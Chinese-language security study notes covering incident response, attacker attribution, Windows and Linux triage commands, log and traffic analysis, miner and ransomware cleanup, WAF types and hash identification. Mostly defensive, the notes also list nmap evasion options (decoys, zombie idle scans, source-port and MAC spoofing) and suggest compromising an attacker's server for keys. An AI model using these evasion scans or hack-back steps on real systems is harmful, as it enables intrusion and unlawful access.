攻击IP

预警平台

攻击类型

恶意文件

受攻击域名/IP

其中攻击IP、攻击类型、恶意文件、攻击详情是溯源入手的点

通过攻击类型分析攻击详情的请求包，看有没有攻击者特征，通过获取到的IP地址进行威胁情报查询来判断所用的IP是代理IP还是真实IP地址

如端口扫描大概率为个人vps或者空间搜索引擎，可优先溯源

如命令执行大概率为未经任何隐匿的网络、移动网络、接到脚本扫描任务的肉鸡，可优先溯源

如爬虫大概率为空间搜索引擎，最后溯源

如恶意文件可获得 c2 地址、未删除的带有敏感信息的代码（如常用 ID、组织信 息）、持续化控制代码（C2 地址指在 APT 攻击里的命令与控制，若获取到 C2 地址可以使我们的溯源目标更有针对性）

持续化控制代码需要详细分析，如采用 DGA 域名上线的方法，分析出域名算法， 预测之后的域名可有效减少损失，增加溯源面。

溯源结果框架

经过一系列溯源操作后，理想情况下要获得如下数据，刻画攻击者画像

姓名/ID：

攻击IP：

地理位置：

QQ：

微信：

邮箱：

手机号：

支付宝：

IP地址所属公司：

IP地址关联域名：

其他社交账号信息（如微博/SRC/id证明）：

人物照片：

### 应急

你本人应急的案例

我拿个之前的应急排查来说吧，就是我们这边接到通知他们公司几台服务器有问题，让我们去检测。然后看到是windows的机子，本地用户和组排查的时候发现新建可疑的用户，确定主机是有问题的，对方已经拿到主机权限,然后事件管理器有大量的登录日志爆破，采取的措施是直接删除可疑的和隐藏账号,排查登录日志,确定系统账号已经不安全,更新了管理员账号,对启动项和可疑进程做了清除,取了一份样本拿去分析,通告上级紧急修补web站点的漏洞.

已经被上传webshell应急

被拿shell了如何处理（排查、清除、关站、看看可有即使修复的可能，没有可能就关站）

系统如果已经被植入后门，说明攻击者已经攻击成功，而且拿到权限，这时候日志信息可能提供不了帮助，首先要去考虑系统的账户是否安全，，又没口令爆破成功的痕迹，排查账号的密码是否已经不安全.

(Linux)的话看计划任务,没有定时反弹shell,还有就是进程是不是可疑在通信.发现可疑问题,就要样本分析.

(windows)的话就看启动项和进程.

如果是web入侵,看日志web服务是不是安全?还原攻击的流程.

应急响应的基本思路是什么？

准备-检测-抑制-根除-恢复-书写报告

1、准备工作，收集信息：收集告警信息、客户反馈信息、设备主机信息等。

2、检测，判断类型：安全事件类型的判断（钓鱼邮件，webshell，爆破，中毒等）

3、抑制，控制范围，隔离失陷设备

4、根除，分析研判，将收集的信息分析

5、恢复，处置事件类型（进程、文件、邮件、启动项，注册表等）

6、输出报告

Linux应急排查

1.和windows应急思路相同，登录账号检测

2.后门排查(检测定时任务、开机启动项、异常端口(比如建立的可疑连接)，进程排查)

update留意系统运行到现在登录多久、多少用户。

1.影子账户，/etc/shadow因为/etc/passwd任何用户都可以访问，密码信息就分离到shadow,shadow文件只有root权限才能访问，如果说，stat命令发现，shodow文件权限变化了，这检测就有问题。

Ssh公钥，linux的机子22端口基本都是开的，如果写公钥进去，就是明显的后门

Linux入侵排查思路;

1账号安全,2历史命令,3检查异常端口,4检查异常进程,

5检查开机启动项,6检查定时任务,7检查服务,8检查异常文件,9检查系统日志

Linux 常用命令:

history (cat /root/.bash\_history) 查看执行过的命令,排查和溯源

/etc/passwd 分析用户

awk -F: ‘{if($3==0)print $1}’ /etc/passwd 查看UID 为0 的帐号

cat /etc/passwd | grep -E “/bin/bash$” 查看可以登录的帐号

crontab /etc/cron\* 查看计划任务

rc.local /etc/init.d chkconfig 查看Linux 自启动程序

last 查看最近用户登录信息

lastb 查看最近用户登录错误信息

$PATH 系统路径环境变量

strings 提取字符串

netstat：查看系统网络连接状态和监听端口情况，识别是否有异常连接。

ps：查看当前系统进程，识别是否有异常进程。

top：实时监控系统资源占用情况，发现异常进程或恶意程序。

lsof：列出当前系统打开的文件，包括进程号、文件描述符等信息，帮助发现具有威胁性的进程或文件。

tcpdump：抓取网络数据包，分析网络流量，检测网络攻击。

strace：跟踪进程的系统调用和信号，定位问题所在，发现异常进程。

md5sum：计算文件的MD5值，帮助验证文件完整性。

find：查找并定位目标文件或目录，搜索指定范围内的文件等。

grep：查找文本内容，支持正则表达式。

chattr: 设置文件或目录的属性，比如设置只读和隐藏属性等，保护系统安全。

Windows

初步排查:

1.系统账号排查(通过本地用户组去可疑账号、隐藏账号，有的话就删除掉)

2.事件管理器检测登陆日志,用微软的Log parser导出后分析

3.可疑端口，建立的链接，排查他对应的进程，用微软的msinfo32查看进程的路径和签名是否可疑。

后门排查:（权限维持:一个进程杀掉了，过段时间重新派生）

系统排查

1 检查系统账号安全2.检查异常端口、进程3.检查启动项、计划任务、服务

4.日志分析

（1. 日志中搜索关键字:如:union,select等

2. 分析状态码:

1xx information

200 successful

300 redirection

4xx client error

5xx server error

查找可疑文件,webshell

分析文件修改日期

系统日志分析）

1. 定位被入侵的主机并且立即对该主机进行断网隔离
2. 确定攻击类型
3. 确定被入侵的时间范围
4. 定位恶意文件和入侵痕迹
5. 溯源入侵来源
6. 清理恶意文件/修复漏洞
7. 事件复盘

1.检测补丁情况:看看有没有打了最新的补丁,看看是不是用漏洞搞进来的

* systeminfo | uname -a

2.日志分析:定位入侵路线,是系统配置出了问题(ssh 弱口令,域管理员hash 泄漏)还是WEB 服务出了问题(传马,WEB 漏洞利用)

* eventvwr | /var/log , .bash\_history
* access.log mysql\_log.log

3.账户信息:先看看是不是帐户有弱口令,再看看用户的登录时间,也观察一下有没有给留后门账户

* quser | who last

4.进程分析:定位一下看看有没有运行恶意进程

* procxp , pchunter | ps -aux , chkrootkit , rkhunter

5.文件分析:找找Shell 和后门,看看这个是什么样的Shell

* lchangedfiles | find / -ctime -1 -print
* 6.系统分析:计划任务,自启动服务等

**Windows :**

* 查看系统变量
* Windows 计划任务
* Windows 帐号信息
* SAM 文件
* Windows-Exploit-Suggester

拔网线，关端口，封ip

查攻击日志，看一下Linux的那个历史记录啊，历史命令记录，还有一个Windows的的日志，如果有异常的话，或者说突然变少的话，说明计算机被入侵，如果真被入侵了，没办法没办法的话，就就把主机给关掉好了。

Windows入侵排查

检查系统账号安全

查看服务器是否有弱口令，远程管理端口3389，22等端口是否对公网开放

检查方法：问服务器管理员，简单直接，要么简单扫描测试一下也可以

查看服务器是否存在可疑账号、新增账号

使用D盾或者其他小工具都可以查看隐藏账号

Win+R->lusrmgr.msc

结合日志，查看管理员登录时间、用户名是否存在异常

### Windows

windows日志位置

Windows系统日志都是在“事件查看器”下面的。

具体步骤如下：

我的电脑 - 右键单击 - 管理 - 计算机管理 - 系统工具 - 事件查看器 - Windows日志；

Linux系统日志都是放在“/var/log”下面的，

系统日志

前提：开启审核策略

Win+R->eventvwr.msc->导出安全日志->LogParser进行分析

Web访问日志

找到中间件的web日志，打包到本地进行分析

Linux下可以使用Shell命令组合查询分Win+R->eventvwr.msc

导出Windows的安全日志，利用LogParser进行分析

检查异常端口、进程

检查端口连接情况，是否有远程连接、可疑连接

netstat -ano

tasklist | find "PID"

进程

使用D盾，查看可以进程，查看有没有签名信息，或者可以使用Process Explorer等工具查看

找到中间件的web日志，打包到本地进行分析

Linux下可以使用Shell命令组合查询分析

.Windows系统应急响应中常用的指令？

查看用户账号和组 lusrmgr

打开lusrmgr.msc，查看是否有新增/可疑的账号

敏感事件id:

4624 登录成功

4625 登录失败

4634 注销成功

4647 用户启动的注销

4672 使用超级用户/管理员用户进行登录

4720 创建用户

4697 7045 PsExec

查看自启动项 msconfig

查看进程服务 taskmgr

wmic process where name='进程名' list full 4 查看进程详细信息

taskkill /T /F /PID 强制关闭进程

wmic process | finderstr “xxxx.exe” 获取进程的全路径

查看计划任务 schtasks

查看用户会话 query user

查看端口和网络连接 netstat -ano

查看本地共享 net share

查看注册表 regedit

查看日志 eventvwr

### Linux

.Linux系统应急响应中常用的指令？

查看进程

top 根据CPU占用率枚举进程

查看对应进程详情，可以查看进程的详情，以及对应的文件：

ls -l /proc/$PID/exe

file /proc/$PID/exe

可以使用ps 命令对疑似恶意程序的进程进行查看

ps aux #显示所有进程，包括没有终端的进程

ps ef #显示所有进程以及完整格式

ps aux --sort -pcpu #静态查看进程，根据cpu使用情况排行，从高到低

ps aux --sort -pmem #静态查看进程，根据内存使用情况排行，从高到低

ps -p PID -o lstart #查看进程的启动时间

kill -9 pid #强制杀死进程

lsof -p pid 查询守护进程

pstree -aphn 树状显示进程

-a 显示该进程命令行参数

-p 显示pid

-n 按照pid排序

-h 高亮当前进程以及父进程

查看网络连接

netstat -antlp

-a 显示所有连接和端口

-n 以数字形式显示ip和port

-t 显示tcp

-l 显示监听的服务

-p 显示建立连接的进程名以及pid

ss –antpr

-a 显示所有连接和端口

-n 不解析服务的名称

-t 显示tcp sockets

-l 显示监听的端口

-p 显示监听端口的进程

-r 把ip解析为域名

查看异常文件

ls -alth

-a 显示所有文件

-l 显示文件权限，属组属主，大小，日期

- t 按照时间顺序排序

-h 高亮

find / -ctime -2 查找72小时内新增的文件

查看用户

last 查询最近登录的用户记录

lastlog 查询所有用户最后一次登录的时间

last lastb 登陆失败的用户记录

usermod -L 用户名 禁用用户

userdel -r 用户名 删除用户

查看启动项

systemctl list-unit-files | grep enable 查看启动项

查看计划任务

crontab -l 查看计划任务

crontab -e 编辑计划任务

crontab -r 删除计划任务

crontab -u 查看某用户计划任务

cat /etc/anacrontab 查看anacron异步定时任务

查看历史命令

history 查询主机历史命令

列出所有的服务

service --status-all

chkconfig --list

crontab命令

-u# 指定用户，可省略

-l #列出对应的计划任务

-r #删除目前的时程表

-e #执行文字编辑器来设定时程表，内定的文字编辑器是 VI，如果你想用别的文字编辑器，则请先设定 VISUAL 环境变数来指定使用那个文字编辑器(比如说 setenv VISUAL joe)

默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

配置文件

/var/spool/cron/ #记录了每个用户的计划任务，已用户名命名

/etc/crontab #系统级配置文件

/etc/cron.d/ #该文件夹下一般是系统级别的用来管理其他定时任务的crontab文件

/etc/cron.daily/\* #存放可执行脚本

/etc/cron.hourly/\* #存放可执行脚本

/etc/cron.monthly/\* #存放可执行脚本

/etc/cron.weekly/\* #存放可执行脚本

/etc/anacrontab #开机之后检查该执行的是否执行了，将没有进行的

crontab任务执行一遍

/var/spool/anacron/\*

日志记录位置

/var/log/cron

小技巧

more /etc/cron.daily/\* #查看目录下所有文件

三、Linux入侵排查

账号安全

文件

/etc/passwd

/etc/shadow

命令：who，w，uptime，usermod，userdel

入侵排查

查询特权用户：awk -F: ‘$3==0{print $1}’ /etc/passwd

查询可以远程登录的账号：awk ‘/\$1|\$6/{print $1}’ /etc/shadow

查询具有sudo权限的账号：more /etc/sudoers | grep -v “^#\|^$” grep “ALL=(ALL)”

历史命令

命令：history

入侵排查：cat .bash\_history >>history.txt

检查异常端口

netstat -antlp

检查异常进程

ps aux

检查开机启动项

more /etc/rc.local

/etc/rc.d/rc[0-6].d

ls -l /etc/rc.d/rc3.d/

检查定时任务

检查以下目录下是否有可疑文件

/var/spool/cron/\*

/etc/crontab

/etc/cron.d/\*

/etc/cron.daily/\*

/etc/cron.hourly/\*

/etc/cron.monthly/\*

/etc/cron.weekly/

/etc/anacrontab

/var/spool/anacron/\*

/etc/cron.daily/\*

检查服务

chkconfig

修改/etc/re.d/rc.local文件，加入/etc/init.d/httpd start

使用nesysv命令管理自启动

检查异常文件

查看敏感目录，如tmp目录下的文件，同时注意隐藏文件夹，以”..”为名的文件夹具有隐藏属性

检查系统日志

日志默认存放位置：/var/log

日志分析技巧

1、定位有多少IP在爆破主机的root帐号：

grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破：

grep"Failedpassword"/var/log/secure|grep-E-o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么？

grep "Failed password" /var/log/secure|perl -e 'while($\_=<>){ /for(.\*?) from/; print "$1\n";}'|uniq -c|sort -nr

2、登录成功的IP有哪些：

grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP：

grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

3、增加一个用户kali日志：

Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001

Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali

, shell=/bin/bash

Jul 10 00:12:58 localhost passwd: pam\_unix(passwd:chauthtok): password changed for kali

#grep "useradd" /var/log/secure

4、删除用户kali日志：

Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'

Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'

Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'

# grep "userdel" /var/log/secure

5、su切换用户：

Jul 10 00:38:13 localhost su: pam\_unix(su-l:session): session opened for user good by root(uid=0)

sudo授权执行:

sudo -l

Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

### 挖矿木马与勒索病毒

挖矿木马处置

1） 及时隔离主机

部分带有蠕虫功能的挖矿木马在取得本机的控制权后，会以本机为跳板机，对同 一局域网内的其他主机进行已知漏洞的扫描和进一步利用，所以发现挖矿现象后, 在不影响业务的前提下应该及时隔离受感染主机，然后进行下一步分析，

2） 阻断与矿池通讯

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP

iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP 3）清除定时任务 大部分挖矿进程会在受感染主机中写入定时任务完成程序的驻留，当安全人员只 清除挖矿木马时，定时任务会再次从服务器下载挖矿进程或直接执行挖矿脚本, 导致挖矿进程清除失败。

4） 清除启动项

有的挖矿进程为了实现长期驻留，会向系统中添加启动项来确保系统重启后挖矿 进程还能重新启动。所以在清除时还应该关注启动项中的内容，如果有可疑的启 动项，也应该进行排查，确认是挖矿进程后，对其进行清除，

5） 清除公钥文件

在用户家目录的.ssh目录下放置authoruzed\_keys文件，从而免密登录该机器也 是一种常见的保持服务器控制权的手段，在排查过程中应该查看该文件中是否有 可疑公钥信息，有的话直接删除，避免攻击者再次免密登录该主机.

6） kill挖矿进程

对于单进程挖矿程序，直接结束挖矿进程即可。但是对于大多数的挖矿进程，如 果挖矿进程有守护进程，应先杀死守护进程再杀死挖矿进程，避免清除不彻底. 在实际的清除工作中’应找到本机上运行的挖矿脚本，根据脚本的执行流程确定 木马的驻留方式，并按照顺序进行清除，避免清除不彻底.

勒索病毒

勒索病毒样本载体的主要行为：

1、调用加密算法库；

2、通过脚本文件进行Http请求；

3、通过脚本文件下载文件；

4、读取远程服务器文件；

5、通过wscript执行文件；

6、收集计算机信息；

7、遍历文件。

处置

（1）物理，网络隔离染毒机器；

（2）对于内网其他未中毒电脑，排查系统安全隐患：

a）系统和软件是否存在漏洞

b）是否开启了共享及风险服务或端口，如135、137、139、445、3389

c）只允许办公电脑，访问专门的文件服务器。使用FTP，替代文件夹共享。

d）检查机器ipc空连接及默认共享是否开启

e）检查是否使用了统一登录密码或者弱密码

（3） 尽量不要点击office宏运行提示，避免来自office组件的病毒感染；

（4）尽量不要双击打开.js、.vbs等后缀名文件；

（5）事后处理

在无法直接获得安全专业人员支持的情况下，可考虑如下措施：

1.通过管家勒索病毒搜索引擎搜索，获取病毒相关信息。

若支持解密，可直接点击下载工具对文件进行解密

2.勒索软件本身算法存在缺陷，内存中可找到密钥；

3.攻击者服务器比较脆弱，通过攻陷服务器，获取解密密钥；

4.备份恢复

5.重装系统

### NMAP

nmap 扫描基础命令

-sT TCP (全)连接扫描，准确但留下大量日志记录

-sS TCP SYN (半)扫描，速度较快，不会留下日志

-sN null 扫描，标志位全为 0，不适用 Windows

-sF FIN 扫描，标志位 FIN=1，不适用 Windows

-O 查看目标主机系统版本

-sV 探测服务版本

-A 全面扫描

所有的扫描选项都是以-s<x>形式出现的

ACK -sA | UDP -sU

端口六个状态

open(开放的)

closed(关闭的) 关闭的关口是可访问的

filtered(被过滤的) 建议再次扫描

unfiltered(未被过滤的) 未被过滤状态意味着端口可访问，但Nmap不能确定它是开放还是关闭。

open|filtered(开放或者被过滤的) 开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。

closed|filtered(关闭或者被过滤的) 该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。

时序选项

1. nmap -sT 192.168.96.4 //TCP连接扫描，不安全，慢

2. nmap -sS 192.168.96.4 //SYN扫描,使用最频繁，安全，快

3. nmap -Pn 192.168.96.4 //目标机禁用ping，绕过ping扫描

4. nmap -sU 192.168.96.4 //UDP扫描,慢,可得到有价值的服务器程序

5. nmap -sI 僵尸ip 目标ip //使用僵尸机对目标机发送数据包

6. nmap -sA 192.168.96.4 //检测哪些端口被屏蔽

7. nmap 192.168.96.4 -p <portnumber> //对指定端口扫描

8. nmap 192.168.96.1/24 //对整个网段的主机进行扫描

9. nmap 192.168.96.4 -oX myscan.xml //对扫描结果另存在myscan.xml

10. nmap -T1~6 192.168.96.4 //设置扫描速度，一般T4足够。

11. nmap -sV 192.168.96.4 //对端口上的服务程序版本进行扫描

12. nmap -O 192.168.96.4 //对目标主机的操作系统进行扫描

13. nmap -sC <scirptfile> 192.168.96.4 //使用脚本进行扫描，耗时长

14. nmap -A 192.168.96.4 //强力扫描，耗时长

15. nmap -6 ipv6地址 //对ipv6地址的主机进行扫描

16. nmap -f 192.168.96.4 //使用小数据包发送，避免被识别出

17. nmap –mtu <size> 192.168.96.4 //发送的包大小,最大传输单元必须是8的整数

18. nmap -D <假ip> 192.168.96.4 //发送参杂着假ip的数据包检测

19. nmap --source-port <portnumber> //针对防火墙只允许的源端口

20. nmap –data-length: <length> 192.168.96.4 //改变发生数据包的默认的长度，避免被识别出来是nmap发送的。

21. nmap -v 192.168.96.4 //显示冗余信息(扫描细节)

22. nmap -sn 192.168.96.4 //对目标进行ping检测，不进行端口扫描（会发送四种报文确定目标是否存活,）

23. nmap -sP 192.168.96.4 //仅仅对目标进行ping检测。

24. nmap -n/-p 192.168.96.4 //-n表示不进行dns解析，-p表示要

25. nmap --system-dns 192.168.96.4 //扫描指定系统的dns服务器

26. nmap –traceroute 192.168.96.4 //追踪每个路由节点。

27. nmap -PE/PP/PM: 使用ICMP echo, timestamp, and netmask 请求包发现主机。

28. nmap -sP 192.168.96.4 //主机存活性扫描，arp直连方式。

29. nmap -iR [number] //对随机生成number个地址进行扫描。在Nmap中使用-T (0-5)可以启用时序选项，对于时序选项这里有0~5不同的选项。

IDS:入侵检测系统

-T0 (偏执的):非常慢的扫描，用于IDS逃避。

-T1 (鬼祟的):缓慢的扫描，用于IDS逃避。

-T2 (文雅的):降低速度以降低对带宽的消耗，此选项- -般不常用。

-T3 (普通的):默认，根据目标的反应自动调整时间。

-T4 (野蛮的):快速扫描，常用扫描方式，需要在很好的网络环境下进行扫描，请求可能会淹没目标。

-T5 (疯狂的):极速扫描，这种扫描方式以牺牲准确度来提升扫描速度。

(现在一般用-T4)

nmap -T4 192.168.21.1

常用扫描选项

-p 指定扫描端口

nmap -p 80,445 192.168.21.1

nmap -p 1-1000 192.168.21.1

-F 快速扫描常用端口

nmap -F 192.168.21.1

-r 使用该选项不会对端口进行随机的顺序扫描

–top-ports

扫描开发概率最高的1000个TCP端口

nmap --top-ports 1000 192.168.21.1

nmap --top-ports 100 192.168.21.1

TCP SYN 扫描 -sS

nmap -sS 192.168.21.1

比较常用,扫描速度较快

比较隐蔽,不会轻易被目标主机发现

TCP 连接扫描 -sT

用于SYN扫描不能用的时候

基本不会对目标主机进行泛洪攻击或导致目标主机崩溃

比较稳定,基础

首先选用SYN扫描

UDP扫描-sU

使用-sU选项可以进行UDP扫描。UDP扫描是非常慢的，很多的安全审核人员忽略了这些端口，这显然是一个错误的做法。

隐藏扫描-sN -sF -sX

-sF FIN扫描,使用TCP SYN被目标主机防火墙发现,会阻止SYN数据包.

这时候可以用-sF 尝试穿透

这些扫描方式可能会躲过一些无状态防火墙的过滤

空闲扫描,利用跳板/代理扫描

nmap -sI www.0day.co:80 192.168.21.1

这里是利用僵尸主机为www0day.co 的主机对192.168.126.131 进行空闲扫描，如果有IDS，IDS 则会把www0day.co当作扫描者。

全端口版本探测

nmap -sV --allports 192.168.21.1

设置扫描强度

–version-intensity 0~9

数值越大,可能越准确,耗时也更长

0最低 9最高

默认是7

获取详细的版本信息

–version-trace

操作系统探测

nmap -O 192.168.21.1

报文分段

nmap -sV -F 192.168.1.100

IP欺骗 -D

RND 随机生成:

nmap -D RND:11 192.168.21.1

指定IP:

nmap -D 192.168.1.1,192.168.1.2,192.168.1.3 192.168.21.1

需要注意的是，诱饵主机必须处于工作状态，否则会导致目标主机的SYN洪水攻击。

源地址欺骗-sI

nmap -sI www. 0day.co:80 192.168.126.131

源端口欺骗

nmap --source-port 53 182.168.21.1

MAC地址欺骗

–spoof-mac 0会随机生成一个

nmap -sT -PN --spoof-mac 0 192.168.126.131

保存和输出

标准保存 -oN

nmap -F -oN test.txt 192.168.21.1

### 误报和攻击日志分析

恶意文件处理

首先看它的来源和去向，然后可以下载但不运行，放入微步沙箱中，看是否有后门，若有后门，就用 IDA 反汇编得到恶意攻击者的有用信息，再进一步描绘出攻击者画像进行溯源

防火墙报警如何确定是不是误判

一般情况下，真实攻击不可能只持续一次，它一定是长时间、周期性、多 IP 的进行攻击先去查看设备的完整流量日志等信息。在护网过程中如果确实存在异常流量应当及时进行上报，确认是误报后做好事件记录

怎么确定xss攻击是不是误报

xss攻击有相应的关键字和语句的，比如出现onerror，onload等关键字，然后出现了document. Cookie类似这些关键字，基本可以确定是xss注入，看下日志文件，如果一开始频繁的利用单双引号闭合，或者利用alert进行测试，基本也能确定，而合法的语句没有这些

比如数据包或者日志，你的分析思路是什么，以及你会用到哪些工具或者那些网站进行查询？

用流量监测的安全设备，比如天眼，查看报文，分析报文里和 host 和网站目录路径，查看是否可疑，使用微步查询 host 是否为恶意，使用 wireshark 对数据包深度分析

看一下请求的网站路径，源 IP 与目的 IP 地址，host 字段的值以及发包内容等

工具有 wireshark，网站的话微步在线等威胁情报中心

文件上传和命令执行，有看过相关日志吗

文件：可能在系统有上传功能或者有文本编辑器，看一下是否有 base64 加密或者 url 加密，解码验证一下是否有恶意代码

系统日志：有没有 web 容器做了一些危险行为，比如 bash 反弹 shell 等

网络应用日志：有没有异常的网站文件，类似 webshell 等，就有可能是命令执行

windows日志分析工具

Event Log Explorer

给你一个比较大的日志，应该如何分析

攻击规则匹配，通过正则匹配日志中的攻击请求

统计方法，统计请求出现次数，次数少于同类请求平均次数则为异常请求

白名单模式，为正常请求建立白名单，不在名单范围内则为异常请求

HMM 模型，类似于白名单，不同点在于可对正常请求自动化建立模型，从而通过正常模型找出不匹配者则为异常请求

借助日志分析工具，如 LogForensics 腾讯实验室 <https://security.tencent.com/index.php/opensource/detail/15>

### WAF

有哪些防护方式？

Web基础防护

可防范常规的 web 应用攻击，如 SQL 注入攻击、XSS 跨站攻击等，可检测 webshell，检查 HTTP 上传通道中的网页木马，打开开关即实时生效

CC 攻击防护

可根据 IP、Cookie 或者 Referer 字段名设置灵活的限速策略，有效缓解 CC 攻击

精准访问防护

对常见 HTTP 字段进行条件组合， 支持定制化防护策略如CSRF防护，通过自定义规则的配置，更精准的识别恶意伪造请求、保护网站敏感信息、提高防护精准性

IP 黑白名单

添加终拦截与始终放行的黑白名单 IP，增加防御准确性

地理位置访问控制

添加地理位置访问控制规则，针对来源 IP 进行自定义访问控制

网页防篡改

对网站的静态网页进行缓存配置，当用户访问时返回给用户缓存的正常页面，并随机检测网页是否被篡改

网站反爬虫

动态分析网站业务模型，结合人机识别技术和数据风控手段，精准识别爬虫行为

误报屏蔽

针对特定请求忽略某些攻击检测规则，用于处理误报事件

隐私屏蔽

隐私信息屏蔽，避免用户的密码等信息出现在事件日志中

防敏感信息泄露

防止在页面中泄露用户的敏感信息，例如：用户的身份证号码、手机号码、电子邮箱等

**不具备的功能：**

* WAF不能过滤其他协议流量，如FTP、PoP3协议
* WAF不能实现传统防护墙功能，如地址映射
* WAF不能防止网络层的DDoS攻击
* WAF不能防病毒

1.基础防火墙FW/NGFW类

  主要是可实现基本包过滤策略的防火墙，这类是有硬件处理、软件处理等，其主要功能实现是限制对IP:port的访问。基本上的实现都是默认情况下关闭所有的通过型访问，只开放允许访问的策略。FW可以拦截低层攻击行为，但对[应用层](https://so.csdn.net/so/search?q=%E5%BA%94%E7%94%A8%E5%B1%82&spm=1001.2101.3001.7020)的深层攻击行为无能为力

2.IDS类

  此类产品基本上以旁路为主，特点是不阻断任何网络访问，主要以提供报告和事后监督为主，少量的类似产品还提供TCP阻断等功能，但少有使用。

3.IPS类

  解决了IDS无法阻断的问题，基本上以在线模式为主，系统提供多个端口，以透明模式工作。在一些传统防火墙的新产品中也提供了类似功能，其特点是可以分析到数据包的内容，解决传统防火墙只能工作在4层以下的问题。和IDS一样，IPS也要像防病毒系统定义N种已知的攻击模式，并主要通过模式匹配去阻断非法访问,致命缺点在于不能主动的学习攻击方式，对于模式库中不能识别出来的攻击，默认策略是允许

访问的！

  IPS类设备，常被串接在主干路上，对内外网异常流量进行监控处理

4.UTM类安全设备

  是以上三者的结合体，按照IDC提出“统一威胁管理”的概念来看，UTM是将防病毒、入侵检测和防火墙安全设备划归到一起“统一管理”的新类别。

  IDC将防病毒、防火墙和入侵检测等概念融合到被称为统一威胁管理的新类别中，该概念引起了业界的广泛重视，并推动了以整合式安全设备为代表的市场细分的诞生。由IDC提出的UTM是指由硬件、软件和网络技术组成的具有专门用途的设备，它主要提供一项或多项安全功能，将多种安全特性集成于一个硬设备里，构成一个标准的统一管理平台。

  由于性能要求出众，导致造价一般比较高，目前一般只有大型企业会有使用。

  UTM的优点主要有以下几条

  1.整合所带来的成本降低（一身兼多职嘛！）

  2.降低信息安全工作强度 （减轻管理员负担）

  3.降低技术复杂度

  UTM也不能一劳永逸的解决所有安全问题，总结下来，有如下缺点

  1.网关防御的弊端

  网关防御在防范外部威胁的时候非常有效，但是在面对内部威胁的时候就无法发挥作用了。有很多资料表明造成组织信息资产损失的威胁大部分来自于组织内部，所以以网关型防御为主的UTM设备目前尚不是解决安全问题的万灵药。

  2.过度集成带来的风险

  3.性能和稳定性

5.主动安全类

### 流量分析

如何通过流量来分析安全事件？

答：

结合态势感知设备的告警信息来仔细审查请求数据包和返回数据包，比如SQL注入攻击，请求数据包里面是否有单引号或者select等一些敏感字符，返回包里面是否存在SQL语法报错信息，如果有的话就说明存在SQL注入攻击的行为，接下来就找到具体告警的位置进行人工分析，确认漏洞是否存在

假设发现web应用服务器发现文件异常增多，初步怀疑被上传webshell，描述流量分析溯源的思路

可利用流量工具进行溯源：

1）查看eval、z0、shell、whoami等关键字，查看出现次数过多的时候，可能

需要查看是哪个页面发起的请求，有可能是webshell

2）通过 WireShark 工具快速搜索关键字，定位到异常流量包

3）找出异常IP和所上传的内容，查看是否为webshell

如何定位到攻击IP：

1)首先通过选择-统计-对话查看流量的走向情况，定位可疑的IP地址

2)根据定位到的IP地址，尝试对上传的webshell进行定位ip.addr ==ip &&http matches "uploadleval|select|xp\_cmdshell"&& http.request.method == "POST"

3)查找到 Webshell后尝试溯源漏洞位置，http.request.uri contains“webshell.php”，定位到最开始webshell执行或上传的时候

4)根据最开始的HTTP上传包或者其他漏洞特产定位漏洞类型

wireshark简单的过滤规则

【过滤ip】：过滤源ip地址:ip.src1.1.1.1;目的ip地址：ip.dst1.1.1.1;

【过滤端口】：过滤80端口：tcp.port80，源端口：tcp.srcport80，目的端口：tcp.dstport==80

【协议过滤】：直接输入协议名即可，如http协议http

【http模式过滤】：过滤get/post包http.request.mothod=="GET/POST"

### 加密方式辨别

编码系列

Base 系列编码

Base64：一般情况下结尾都会有 1 个或者 2 个等号，明文很少的时候可能没有；

Unicode 编码

以 \u、&# 或 &#x 开头，后面是数字加字母组合

Escape 编码

以 %u 开头，后面是数字加字母组合

URL / Hex 编码

URL 和 Hex 编码的结果是一样的，不同的是当你用 URL 编码网址时是不会把 http、https 关键字和 /、?、&、= 等连接符进行编码的，而 Hex 编码则全部转化了，其主要特征如下：

以 % 开头，后面是数字加字母组合

加密算法

MD5

密文一般为 16 位或者 32 位，其中 16 位是取的 32 位第 9~25 位的值；

组成方式为字母（a-f）和数字（0-9）混合，字母可以全部是大写或者小写。

SHA 系列

SHA-1：字母（a-f）和数字（0-9）混合，固定位数 40 位；

SHA-224/SHA3-224：字母（a-f）和数字（0-9）混合，固定位数 56 位；

SHA-256/SHA3-256：字母（a-f）和数字（0-9）混合，固定位数 64 位；

SHA-384/SHA3-384：字母（a-f）和数字（0-9）混合，固定位数 96 位；

SHA-512/SHA3-512：字母（a-f）和数字（0-9）混合，固定位数 128 位。

HMAC 系列

HMAC 这种算法就是在 MD5、SHA 两种加密的基础上引入了秘钥，其密文也和 MD5、SHA 类似，密文的长度和使用的 MD5、SHA 算法对应密文的长度是一样的。特征如下：

HMAC-MD5：字母（a-f）和数字（0-9）混合，位数一般为 32 位；

HMAC-SHA-1：字母（a-f）和数字（0-9）混合，固定位数 40 位；

HMAC-SHA-224 / HMAC-SHA3-224：字母（a-f）和数字（0-9）混合，固定位数 56 位；

HMAC-SHA-256 / HMAC-SHA3-256：字母（a-f）和数字（0-9）混合，固定位数 64 位；

HMAC-SHA-384 / HMAC-SHA3-384：字母（a-f）和数字（0-9）混合，固定位数 96 位；

